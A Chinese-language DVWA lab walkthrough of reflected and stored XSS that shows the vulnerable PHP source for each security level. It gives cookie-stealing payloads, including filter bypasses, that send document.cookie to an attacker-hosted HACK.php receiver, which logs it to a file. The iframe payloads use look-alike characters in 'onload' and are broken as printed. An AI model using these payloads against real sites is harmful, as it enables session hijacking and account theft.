天天看点

XSS获取cookie

   DVWA XSS获取cookie

反射型

一、LOW

1.被害者已经登录http://127.0.0.1/DVWA/vulnerabilities/xss_r/ 网站,该网站存在xss漏洞。

网站源代码如下:未进行任何过滤

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
           

2.攻击者新建网站http://127.0.0.1/xss/,并在该网站下写入HACK.php,代码如下。

<?php
    $cookie = $_GET['x'];
    file_put_contents('cookie.txt', $cookie);
    ?>
           

3.引导受害者访问地址,必要时对<script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</script>进行编码。

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=

<script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</script>

4.获取到受害者在http://127.0.0.1/DVWA/vulnerabilities/xss_r/网站的cookie信息。

二、MEDIUM

网站源代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
           

过滤了

<script>,采用大小写混合方式绕过:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=

<Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</scRipt>

三、HIGH

源代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 
           

过滤了<Script>标签所有可能的形式。使用类似<iframe οnlοad=alert(‘haha’)>的标签:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=

<iframe οnlοad=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>

成功获取cookie。

存储型

1.LOW

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>


           

trim()函数,用于去除字符串左右两侧的空格

stripslashes()函数,用于去除字符串中的反斜杠

mysqli_real_escape_string()对sql语句中的特殊字符进行转义。

从源码上看,此处,只是对输入的name,message做了防止sql注入的过滤,并没有对输入的字符串进行安全性过滤和处理。

当字符串写入数据库的时候,如果存在特殊字符,也会被转义,但是在当我们从数据库中调出的时候,并不影响特殊字符的功能。 

name输入框中输入:

<script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</script>

今后每次访问该界面都返回cookie。

再次实验时删除MySQL数据库中数据即可。

2.MEDIUM

Stored XSS Source
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>


           
  • strip_tags()函数去除html标签

    htmlspecialchars()函数,将预定义字符转换成html实体

    str_replace()函数,转义函数,将指定的字符或字符串转换成别的字符,这里是将<script>转为空。缺点转义的时候区分大小写。

通过源码可以看出,对message的值进行了标签的过滤以及预定义符的转义。对name的值进行了转义。对name进行xss攻击。

在name输入框中输入:

<Script>document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie;</Script>

今后每次访问该界面都返回cookie。

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>
           
  • 这个源码比中级别的多了一个过滤函数来过滤name的值,preg_replace()函数,进行正则表达式匹配防止大小写,多重输入字符绕过过滤函数。
  • 这个函数虽然不错,但是我们不用与低中级相似的payload,不就可以成功绕过这个函数了嘛!我们构造payload:

<iframe οnlοad=(document.location='http://127.0.0.1/xss/HACK.php?x='+document.cookie)>

今后每次访问该界面都返回cookie。

继续阅读